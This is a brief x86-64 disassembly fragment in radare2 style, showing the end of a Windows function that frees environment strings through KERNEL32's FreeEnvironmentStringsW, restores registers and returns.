call fcn.18001b0d4
test eax, eax
jne 0x18001ca69
mov rcx, rdi
call fcn.18001349c
jmp 0x18001ca73
xor ecx, ecx
call fcn.18001349c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret